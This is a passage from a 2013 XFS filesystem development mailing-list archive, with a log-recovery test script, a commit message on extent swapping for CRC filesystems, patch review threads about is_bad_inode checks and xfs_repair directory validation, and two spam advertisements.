./recovery-fsr.sh #!/bin/bash dev=/dev/vdc mntpt=/mnt/scratch testfile=$mntpt/testfile umount $mntpt mkfs.xfs -f -m crc=1 $dev mount $dev $mntpt chmod 777 $mntpt for i in `seq 10000 -1 0`; do xfs_io -f -d -c "pwrite $(($i * 4096)) 4096" $testfile > /dev/null 2>&1 done xfs_bmap -vp $testfile |head -20 xfs_fsr -d -v $testfile & sleep 10 /home/dave/src/xfstests-dev/src/godown -f $mntpt wait umount $mntpt xfs_logprint -t $dev |tail -20 time mount $dev $mntpt xfs_bmap -vp $testfile umount $mntpt $ Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers commit 21b5c9784bceb8b8e0095f87355f3b138ebac2d0 Author: Dave Chinner Date: Fri Aug 30 10:23:44 2013 +1000 xfs: swap extents operations for CRC filesystems For CRC enabled filesystems, we can't just swap inode forks from one inode to another when defragmenting a file - the blocks in the inode fork bmap btree contain pointers back to the owner inode. Hence if we are to swap the inode forks we have to atomically modify every block in the btree during the transaction. We are doing an entire fork swap here, so we could create a new transaction item type that indicates we are changing the owner of a certain structure from one value to another. If we combine this with ordered buffer logging to modify all the buffers in the tree, then we can change the buffers in the tree without needing log space for the operation. However, this then requires log recovery to perform the modification of the owner information of the objects/structures in question. This does introduce some interesting ordering details into recovery: we have to make sure that the owner change replay occurs after the change that moves the objects is made, not before. Hence we can't use a separate log item for this as we have no guarantee of strict ordering between multiple items in the log due to the relogging action of asynchronous transaction commits. Hence there is no "generic" method we can use for changing the ownership of arbitrary metadata structures. For inode forks, however, there is a simple method of communicating that the fork contents need the owner rewritten - we can pass a inode log format flag for the fork for the transaction that does a fork swap. This flag will then follow the inode fork through relogging actions so when the swap actually gets replayed the ownership can be changed immediately by log recovery. So that gives us a simple method of "whole fork" exchange between two inodes. This is relatively simple to implement, so it makes sense to do this as an initial implementation to support xfs_fsr on CRC enabled filesytems in the same manner as we do on existing filesystems. This commit introduces the swapext driven functionality, the recovery functionality will be in a separate patch. Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/kmem.c | 15 ++++- fs/xfs/kmem.h | 9 +-- fs/xfs/xfs_acl.c | 12 ++-- fs/xfs/xfs_bmap_btree.c | 44 ++++++++++++ fs/xfs/xfs_bmap_btree.h | 4 ++ fs/xfs/xfs_bmap_util.c | 69 ++++++++++++------- fs/xfs/xfs_btree.c | 170 ++++++++++++++++++++++++++++++++++++++++++----- fs/xfs/xfs_btree.h | 19 ++++-- fs/xfs/xfs_buf_item.c | 24 +++++-- fs/xfs/xfs_da_btree.c | 1 + fs/xfs/xfs_icache.c | 4 +- fs/xfs/xfs_icache.h | 4 ++ fs/xfs/xfs_inode_buf.c | 10 ++- fs/xfs/xfs_inode_buf.h | 18 ++--- fs/xfs/xfs_ioctl.c | 34 +++------- fs/xfs/xfs_ioctl32.c | 18 ++--- fs/xfs/xfs_itable.c | 2 +- fs/xfs/xfs_log_format.h | 8 ++- fs/xfs/xfs_log_recover.c | 123 +++++++++++++++++++++++++++------- fs/xfs/xfs_symlink.c | 2 + 20 files changed, 439 insertions(+), 151 deletions(-) hooks/post-receive -- XFS development tree From bpm@sgi.com Tue Sep 10 18:11:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9BB997F53 for ; Tue, 10 Sep 2013 18:11:26 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id 267798F804B; Tue, 10 Sep 2013 16:11:23 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 02AA14266DC; Tue, 10 Sep 2013 18:11:22 -0500 (CDT) Date: Tue, 10 Sep 2013 18:11:22 -0500 From: Ben Myers To: Dave Chinner Cc: Al Viro , xfs@oss.sgi.com Subject: Re: [PATCH v2] xfs: don't leak root inode reference Message-ID: <20130910231122.GY1935@sgi.com> References: <20130826204730.GZ7153@sgi.com> <20130826212423.GX6023@dastard> <20130827212558.GY5262@sgi.com> <20130827220833.GY6023@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130827220833.GY6023@dastard> User-Agent: Mutt/1.5.20 (2009-06-14) Hi Dave, On Wed, Aug 28, 2013 at 08:08:33AM +1000, Dave Chinner wrote: > On Tue, Aug 27, 2013 at 04:25:58PM -0500, Ben Myers wrote: > > On Tue, Aug 27, 2013 at 07:24:23AM +1000, Dave Chinner wrote: > > > On Mon, Aug 26, 2013 at 03:47:30PM -0500, Ben Myers wrote: > > > > Looks like in 48fde701 we removed the iput of the root inode in > > > > xfs_fs_fill_super for the error case. Add it back. > > > > > > > > Signed-off-by: Ben Myers > > > > > > > > --- > > > > fs/xfs/xfs_super.c | 6 ++++-- > > > > 1 file changed, 4 insertions(+), 2 deletions(-) > > > > > > > > Index: b/fs/xfs/xfs_super.c > > > > =================================================================== > > > > --- a/fs/xfs/xfs_super.c 2013-08-26 15:36:09.170848579 -0500 > > > > +++ b/fs/xfs/xfs_super.c 2013-08-26 15:40:19.450817933 -0500 > > > > @@ -1493,12 +1493,12 @@ xfs_fs_fill_super( > > > > } > > > > if (is_bad_inode(root)) { > > > > error = EINVAL; > > > > - goto out_unmount; > > > > + goto out_iput; > > > > } > > > > sb->s_root = d_make_root(root); > > > > if (!sb->s_root) { > > > > error = ENOMEM; > > > > - goto out_unmount; > > > > + goto out_iput; > > > > } > > > > > > That's wrong. d_make_root() drops the reference to the inode on > > > failure itself, and so the change in 48fde701 is correct and valid. > > > > > > The leak on bad inodes (which, AFAICT, can never happen on XFS) has > > > been around a lot longer than Al's change - this commit introduced > > > it: > > > > > > 2bcf6e9 xfs: start periodic workers later > > > > > > with this hunk: > > > > > > if (is_bad_inode(root)) { > > > error = EINVAL; > > > - goto fail_vnrele; > > > + goto out_syncd_stop; > > > } > > > > Thanks Gents. Here's another try: > > > > xfs: don't leak root inode reference > > > > Looks like in 2bcf6e9 we removed the iput of the root inode in > > xfs_fs_fill_super for the is_bad_inode error case. Add it back. > > > > Signed-off-by: Ben Myers > > I don't think this is right, either. > > As I said in my previous reply, I don't think that XFS can ever see > a bad inode. The fact is that we're grabbing mp->m_rootip, which is > we already have a reference to and is in cache and validated thanks > to an xfs_iget() call in xfs_mountfs(). If we fail validation when > reading the root inode into cache then xfs_mountfs() will fail and > we won't ever get to this check. > > Further, XFS never marks inodes bad - even on a failed lookup or a > shut down filesystem - and so AFAICT we cannot ever see the root > inode (or any other XFS inode) as a bad inode. > > Hence I think that the is_bad_inode(root) check should just go away. Ok. Lets try this. ;) xfs: remove usage of is_bad_inode XFS never calls mark_inode_bad or iget_failed, so it will never see a bad inode. Remove all checks for is_bad_inode because they are unnecessary. Signed-off-by: Ben Myers --- fs/xfs/xfs_icache.c | 7 ------- fs/xfs/xfs_inode.c | 2 +- fs/xfs/xfs_super.c | 9 --------- 3 files changed, 1 insertion(+), 17 deletions(-) Index: b/fs/xfs/xfs_icache.c =================================================================== --- a/fs/xfs/xfs_icache.c 2013-09-10 14:55:38.574338256 -0500 +++ b/fs/xfs/xfs_icache.c 2013-09-10 14:56:09.514377472 -0500 @@ -501,11 +501,6 @@ xfs_inode_ag_walk_grab( if (!igrab(inode)) return ENOENT; - if (is_bad_inode(inode)) { - IRELE(ip); - return ENOENT; - } - /* inode is valid */ return 0; @@ -919,8 +914,6 @@ restart: xfs_iflock(ip); } - if (is_bad_inode(VFS_I(ip))) - goto reclaim; if (XFS_FORCED_SHUTDOWN(ip->i_mount)) { xfs_iunpin_wait(ip); xfs_iflush_abort(ip, false); Index: b/fs/xfs/xfs_inode.c =================================================================== --- a/fs/xfs/xfs_inode.c 2013-09-10 14:56:38.124337715 -0500 +++ b/fs/xfs/xfs_inode.c 2013-09-10 14:56:40.777424778 -0500 @@ -1687,7 +1687,7 @@ xfs_inactive( * If the inode is already free, then there can be nothing * to clean up here. */ - if (ip->i_d.di_mode == 0 || is_bad_inode(VFS_I(ip))) { + if (ip->i_d.di_mode == 0) { ASSERT(ip->i_df.if_real_bytes == 0); ASSERT(ip->i_df.if_broot_bytes == 0); return VN_INACTIVE_CACHE; Index: b/fs/xfs/xfs_super.c =================================================================== --- a/fs/xfs/xfs_super.c 2013-09-10 14:38:48.144338844 -0500 +++ b/fs/xfs/xfs_super.c 2013-09-10 14:57:06.793813184 -0500 @@ -946,10 +946,6 @@ xfs_fs_destroy_inode( XFS_STATS_INC(vn_reclaim); - /* bad inode, get out here ASAP */ - if (is_bad_inode(inode)) - goto out_reclaim; - ASSERT(XFS_FORCED_SHUTDOWN(ip->i_mount) || ip->i_delayed_blks == 0); /* @@ -965,7 +961,6 @@ xfs_fs_destroy_inode( * this more efficiently than we can here, so simply let background * reclaim tear down all inodes. */ -out_reclaim: xfs_inode_set_reclaim_tag(ip); } @@ -1491,10 +1486,6 @@ xfs_fs_fill_super( error = ENOENT; goto out_unmount; } - if (is_bad_inode(root)) { - error = EINVAL; - goto out_unmount; - } sb->s_root = d_make_root(root); if (!sb->s_root) { error = ENOMEM; From earl222b@gmail.com Tue Sep 10 21:21:13 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 356407F51 for ; Tue, 10 Sep 2013 21:21:13 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 15EBD8F804B for ; Tue, 10 Sep 2013 19:21:13 -0700 (PDT) X-ASG-Debug-ID: 1378866068-04bdf02f23f1a410001-NocioJ Received: from mail-ie0-f181.google.com (mail-ie0-f181.google.com [209.85.223.181]) by cuda.sgi.com with ESMTP id NEIyRS3Ez2hiU6he (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 10 Sep 2013 19:21:08 -0700 (PDT) X-Barracuda-Envelope-From: earl222b@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.223.181 X-Barracuda-IPDD: Level1 [gmail.com/209.85.223.181] Received: by mail-ie0-f181.google.com with SMTP id y16so11979822ieg.26 for ; Tue, 10 Sep 2013 19:21:08 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.223.181] X-Barracuda-IPDD: Level1 [gmail.com/209.85.223.181] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=+JxicO1L4OWfQngl7fw59QPdeg5myZ7Lcu9v5okQfN0=; b=eJhs2SSAEut3zn7CavluAfvbiaU8ac58LwkmBGfW9W4w6FlmHwkM92tQq1jLqR3TSV gD6PJknel3AAOThkAdVtny7HW7oc1CU5y39y9wFm0qvINVZ8Jzv3NaUq5EmErezAIWD6 4gjYK1eU0kD/9pfDC7SYH73punafTzF7rAz7TzgSfBc/uNukJxlMNI9SPj1Fgs6IWfM7 a+67Iz/yNN8b1jvqNZuz06LpMTT9QdSeZMrRCJopqdV6eeDTHkvgdxAKz23N41arQDBV SkhMWRDo1WDg1xpR2Q9qmyVngrRzx+mNzuqTNM/Oz5xJiGkdU+x9HASGE6Ueeh40nGz8 LAeQ== MIME-Version: 1.0 X-Received: by 10.50.136.200 with SMTP id qc8mr11440076igb.52.1378866068148; Tue, 10 Sep 2013 19:21:08 -0700 (PDT) Received: by 10.50.53.234 with HTTP; Tue, 10 Sep 2013 19:21:07 -0700 (PDT) Date: Wed, 11 Sep 2013 10:21:07 +0800 Message-ID: Subject: color box, display box, corrugated box, color card, blister card, color sleeve, hang tag, label From: Jinghao Printing - CHINA X-ASG-Orig-Subj: color box, display box, corrugated box, color card, blister card, color sleeve, hang tag, label To: undisclosed-recipients:; Content-Type: multipart/alternative; boundary=089e0122a8122f90c504e61246ef X-Barracuda-Connect: mail-ie0-f181.google.com[209.85.223.181] X-Barracuda-Start-Time: 1378866068 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: 98662b0698b40dea4d6539d41dc48bf7-193-txt X-Barracuda-BRTS-Evidence: 6fe8d1b0e7926ffa3a0606c75651c59e-219-htm X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140511 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message --089e0122a8122f90c504e61246ef Content-Type: text/plain; charset=ISO-8859-1 Hi, this is David Wu from Shanghai, China. We are a printing company, we can print color box, corrugated box, label, hang tag etc. Please let me know if you need these. Best regards, David Wu --089e0122a8122f90c504e61246ef Content-Type: text/html; charset=ISO-8859-1

Hi, this is David Wu from Shanghai, China.
We are a printing company, we can print color box, corrugated box, label, hang tag etc.
Please let me know if you need these.

Best regards,
David Wu

--089e0122a8122f90c504e61246ef-- From sandeen@sandeen.net Tue Sep 10 21:27:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A96867F51 for ; Tue, 10 Sep 2013 21:27:58 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2B668AC006 for ; Tue, 10 Sep 2013 19:27:54 -0700 (PDT) X-ASG-Debug-ID: 1378866465-04cb6c153dee0170001-w1Z2WR Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id mUdeRIEcvDAzxgN4 for ; Tue, 10 Sep 2013 19:27:45 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 0985C6898C62; Tue, 10 Sep 2013 21:27:44 -0500 (CDT) Message-ID: <522FD520.6090308@sandeen.net> Date: Tue, 10 Sep 2013 21:27:44 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Mark Tinguely CC: "'linux-xfs@oss.sgi.com'" Subject: Re: [PATCH V2] xfs_repair: test for bad level in dir2 node References: <52274F96.2010702@sandeen.net> <522F4001.8010104@sandeen.net> <522F4C26.2080106@sgi.com> <522F55B9.3030509@sandeen.net> <522F5ED7.80005@sgi.com> X-ASG-Orig-Subj: Re: [PATCH V2] xfs_repair: test for bad level in dir2 node In-Reply-To: <522F5ED7.80005@sgi.com> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1378866465 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140511 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 9/10/13 1:03 PM, Mark Tinguely wrote: >> 1) The block magic is LEAFN. If so, we stop. We warn if it's not root level (but don't fix? Maybe that's a bug for another patch?) > > Yes. We do not loop if "i == 1", so another LEAF should not be found. >> 2) The block magic is NODE. If not, we error out. > > Yes. > >> and as I showed above: >> 3) The level matches each level we're at in the loop. >> >> So: >> >> Any block which isn't LEAFN or NODE is caught prior to the (i == -1) block. > > Yes must be a NODE. > >> Any block which has a level that doesn't match is caught on the else of the (i == -1) block. > > Yes, and "i" has to be larger than 1 because of the loop. Which I did not catch before. >> >> And those are the only 2 valid types here. >> >> What case is missing? >> >> -eric >> > > With loop condition of "i > 1" then it cannot miss what I first thought was being missed, but the level of 1 being a leaf is not checked. But I don't think that's right, is it? level[0] is leaf; level[1] is a node, right? Argh. Now I'm more confused; xfs_check has: case XFS_DA_NODE_MAGIC: node = iocur_top->data; xfs_da3_node_hdr_from_disk(&nodehdr, node); if (nodehdr.level < 1 || nodehdr.level > XFS_DA_NODE_MAXDEPTH) { if (!sflag || v) dbprintf(_("bad node block level %d for dir ino " "%lld block %d\n"), nodehdr.level, id->ino, dabno); error++; so nodehdr.level == XFS_DA_NODE_MAXDEPTH is valid there (and level == 1 is a valid node), but repair says: if (i >= XFS_DA_NODE_MAXDEPTH) { do_warn( _("bad header depth for directory inode %" PRIu64 "\n"), da_cursor->ino); so nodehdr.level == XFS_DA_NODE_MAXDEPTH is *not* valid here. indices and counters and depths, oh my. I need to back up and remember what's what. :( ... Still not sure any of this invalidates my targeted fix - although I should just make it a one-liner and do: if (i == -1) { i = da_cursor->active = nodehdr.level; - if (i >= XFS_DA_NODE_MAXDEPTH) { + if (i < 1 || i >= XFS_DA_NODE_MAXDEPTH) { do_warn( _("bad header depth for directory inode %" PRIu64 "\n"), -Eric > --Mark. From skippy-1@pontarellis.com Wed Sep 11 00:36:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 40DEA7F3F for ; Wed, 11 Sep 2013 00:36:44 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1D6C18F804B for ; Tue, 10 Sep 2013 22:36:43 -0700 (PDT) X-ASG-Debug-ID: 1378877801-04cbb02c3eee6680001-NocioJ Received: from whm.ferghana.ru (5a.c9.85ae.static.theplanet.com [174.133.201.90]) by cuda.sgi.com with ESMTP id 836i7jNKHdWVJdGA (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 10 Sep 2013 22:36:41 -0700 (PDT) X-Barracuda-Envelope-From: skippy-1@pontarellis.com X-Barracuda-Apparent-Source-IP: 174.133.201.90 Received: from [211.157.144.27] (port=41355 helo=Unknown) by whm.ferghana.ru with esmtpa (Exim 4.80) (envelope-from ) id 1VJd6R-0004in-22; Wed, 11 Sep 2013 09:36:38 +0400 Message-ID: <2D12FF559F3B454C9222E9F13F40A73E@zmqod> Reply-To: =?windows-1251?B?0PPq7uLu5Ojy5ev8IO/w5eTv8Oj/8uj/?= From: =?windows-1251?B?0PPq7uLu5Ojy5ev8IO/w5eTv8Oj/8uj/?= To: , , , Subject: =?windows-1251?B?0uXs+yDk6/8g8ODn7Pv46+Xt6P8g4eXn7u/g?= =?windows-1251?B?8e3o6vM=?= Date: Wed, 11 Sep 2013 07:36:40 +0200 X-ASG-Orig-Subj: =?windows-1251?B?0uXs+yDk6/8g8ODn7Pv46+Xt6P8g4eXn7u/g?= =?windows-1251?B?8e3o6vM=?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_11D3_01CEAEC1.A7744860" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5931 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6109 X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - whm.ferghana.ru X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - pontarellis.com X-Get-Message-Sender-Via: whm.ferghana.ru: authenticated_id: leesha@nncspidery.ru X-Barracuda-Connect: 5a.c9.85ae.static.theplanet.com[174.133.201.90] X-Barracuda-Start-Time: 1378877801 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG035a, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140514 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC0_TG035a Message contains invalid style definition This is a multi-part message in MIME format. ------=_NextPart_000_11D3_01CEAEC1.A7744860 Content-Type: multipart/alternative; boundary="----=_NextPart_001_11D4_01CEAEC1.A7744860" ------=_NextPart_001_11D4_01CEAEC1.A7744860 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =CA=F3=F0=F1 =E1=E8=E7=ED=E5=F1-=F0=E0=E7=E2=E5=E4=EA=E8 =E4=EB=FF =F1=EF= =E5=F6=E8=E0=EB=E8=F1=F2=EE=E2 =F1 =E7O =F1=E5=ED=F2=FF=E1=F0=FF =EF=EE OI =EE=EA=F2=FF=E1=F0=FF, =D1=E0= =ED=EA=F2-=CF=E5=F2=E5=F0=E1=F3=F0=E3 =CF=F0=E0=EA=F2=E8=F7=E5=F1=EA=E8=E5 =E2=EE=EF=F0=EE=F1=FB =E8 =ED=E5=EA=EE= =F2=EE=F0=FB=E5 =F2=E5=EC=FB: - =E8=ED=F4=EE=F0=EC=E0=F6=E8=EE=ED=ED=EE=E5 =EE=E1=E5=F1=EF=E5=F7=E5=ED=E8= =E5 =F3=EF=F0=E0=E2=EB=E5=ED=F7=E5=F1=EA=E8=F5 =F0=E5=F8=E5=ED=E8=E9: =E0= =ED=E0=EB=E8=E7 =F0=E8=F1=EA=EE=E2, =EF=F0=EE=E2=E5=F0=EA=E0 =E8=F1=F2=EE= =F7=ED=E8=EA=EE=E2 =E8 =E4=EE=EA=F3=EC=E5=ED=F2=EE=E2, =FE=F0=E8=E4=E8=F7=E5=F1=EA=E8=E5 =E8 =FD= =EA=EE=ED=EE=EC=E8=F7=E5=F1=EA=E8=E5 =F0=E8=F1=EA=E8 - =F2=E5=F5=ED=EE=EB=EE=E3=E8=E8 =EA=EE=ED=EA=F3=F0=E5=ED=F2=ED=EE=E9 =F0= =E0=E7=E2=E5=E4=EA=E8: =E8=ED=F4=EE=F0=EC=E0=F6=E8=EE=ED=ED=EE-=EF=EE=E8=F1= =EA=EE=E2=E0=FF =F0=E0=E1=EE=F2=E0, =EF=EE=E8=F1=EA =EF=EE =EE=F2=EA=F0=FB= =F2=FB=EC =E8=F1=F2=EE=F7=ED=E8=EA=E0=EC; =EE=F2=EA=F0=FB=F2=FB=E5 =E8 =F7=E0=F1=F2= =E8=F7=ED=EE =EE=F2=EA=F0=FB=F2=FB=E5 =E8=ED=F4=EE=F0=EC=E0=F6=E8=EE=ED=ED= =FB=E5 =F0=E5=F1=F3=F0=F1=FB. =C8=ED=F4=EE=F0=EC=E0=F6=E8=EE=ED=ED=EE- =E0=ED=E0=EB=E8=F2=E8=F7=E5=F1=EA=E0=FF =F0=E0=E1=EE=F2=E0. =D5=F0=E0=ED=E5= =ED=E8=E5 =E8 =F0=E0=F1=EF=F0=EE=F1=F2=F0=E0=ED=E5=ED=E8=E5 =E8=ED=F4=EE=F0= =EC=E0=F6=E8=E8. =CA=EB=E0=F1=F1=E8=F4=E8=EA=E0=F6=E8=FF =E8=ED=F4=EE=F0=EC= =E0=F6=E8=E8. =CE=F6=E5=ED=EA=E0 =E8=ED=F4=EE=F0=EC=E0=F6=E8=E8 =EF=EE =E4=EE=F1=F2=EE=E2= =E5=F0=ED=EE=F1=F2=E8, =EF=EE=EB=ED=EE=F2=E5, =F6=E5=ED=ED=EE=F1=F2=E8, =E0= =EA=F2=F3=E0=EB=FC=ED=EE=F1=F2=E8, =F2=EE=EB=E5=F0=E0=ED=F2=ED=EE=F1=F2=E8= =E8 =E4=F0=F3=E3=E8=EC =F5=E0=F0=E0=EA=F2=E5=F0=E8=F1=F2=E8=EA=E0=EC. =CC=E5=F2= =EE=E4=E8=EA=E0 =EF=F0=EE=E2=E5=F0=EA=E8 =E4=E5=EB=EE=E2=EE=E3=EE =EF=E0=F0= =F2=ED=E5=F0=E0 =E8 =EA=EE=ED=EA=F3=F0=E5=ED=F2=E0. =DD=EA=F1=EF=E5=F0=F2= =ED=FB=E5 =EC=E5=F2=EE=E4=FB. =CC=E5=F2=EE=E4 =AB=EC=EE=E7=E3=EE=E2=EE=E3=EE =F8=F2= =F3=F0=EC=E0=BB. =C0=ED=E0=EB=E8=F2=E8=F7=E5=F1=EA=E0=FF =EE=E1=F0=E0=E1=EE= =F2=EA=E0 =D1=CC=C8. =CC=E5=F2=EE=E4 =EA=EE=ED=F2=E5=ED=F2-=E0=ED=E0=EB=E8= =E7=E0. =CF=EE=E4=E3=EE=F2=EE=E2=EA=E0 =E0=ED=E0=EB=E8=F2=E8=F7=E5=F1=EA=E8=F5 =E4= =EE=EA=F3=EC=E5=ED=F2=EE=E2. =C0=ED=E0=EB=E8=F2=E8=F7=E5=F1=EA=E0=FF =F1=EF= =F0=E0=E2=EA=E0. =C0=ED=E0=EB=E8=F2=E8=F7=E5=F1=EA=E8=E9 =EE=F2=F7=E5=F2. =D1=EE=F1=F2=E0=E2=EB=E5=ED=E8=E5 =AB=EF=F0=EE=F4=E8=EB=E5=E9=BB =EF=F0=E5= =E4=EF=F0=E8=FF=F2=E8=FF =E8 =EB=E8=F7=ED=EE=F1=F2=E8. =CF=F0=EE=E3=ED=EE= =E7=E8=F0=EE=E2=E0=ED=E8=E5 =E1=EB=E0=E3=EE=ED=E0=E4=E5=E6=ED=EE=F1=F2=E8= =EF=E0=F0=F2=ED=E5=F0=EE=E2 =EF=F0=E5=E4=EF=F0=E8=FF=F2=E8=FF. =C0=ED=E0=EB=E8=E7 =E1=E5=E7=EE=EF=E0=F1= =ED=EE=F1=F2=E8 =E4=E5=EB=EE=E2=FB=F5 =EF=F0=E5=E4=EB=EE=E6=E5=ED=E8=E9 =E8= =EA=EE=ED=F2=F0=E0=EA=F2=EE=E2; - =E7=E0=EA=EE=ED=EE=E4=E0=F2=E5=EB=FC=ED=E0=FF =E1=E0=E7=E0: =EE=E3=F0=E0= =ED=E8=F7=E5=ED=E8=FF =E8 =E2=EE=E7=EC=EE=E6=ED=FB=E5 =ED=E5=E3=E0=F2=E8=E2= =ED=FB=E5 =EF=EE=F1=EB=E5=E4=F1=F2=E2=E8=FF =E8=ED=F4=EE=F0=EC=E0=F6=E8=EE= =ED=ED=EE- =EF=EE=E8=F1=EA=EE=E2=EE=E9 =F0=E0=E1=EE=F2=FB =CE=E3=F0=E0=ED=E8=F7=E5=ED=E8=E5 =EE=F2=E2=E5=F2=F1=F2=E2=E5=ED=ED=EE=F1= =F2=E8: =EF=F0=E5=E4=F1=F2=E0=E2=EB=FF=E5=EC=E0=FF =E8=ED=F4=EE=F0=EC=E0=F6= =E8=FF =E2 =F1=F2=F0=EE=E3=EE=EC =F1=EE=EE=F2=E2=E5=F2=F1=F2=E2=E8=E5 =F1= =E7=E0=EA=EE=ED=E0=EC=E8 =D0=D4; - =F0=E0=E1=EE=F2=E0 =F1 =EF=E5=F0=F1=EE=ED=E0=EB=EE=EC =E8 =EF=F0=E0=EA=F2= =E8=F7=E5=F1=EA=E8=E5 =E2=EE=EF=F0=EE=F1=FB =EA=EE=ED=F2=F0=F0=E0=E7=E2=E5= =E4=EA=E8; - =EC=EE=ED=E8=F2=EE=F0=E8=ED=E3 =D1=CC=C8, =F1=EE=F6.=F1=E5=F2=E5=E9 =E8= =E1=EB=EE=E3=EE=F1=F4=E5=F0=FB =EA=E0=EA =E8=ED=F1=F2=F0=F3=EC=E5=ED=F2 = =E4=E5=EB=EE=E2=EE=E9 =F0=E0=E7=E2=E5=E4=EA=E8; - 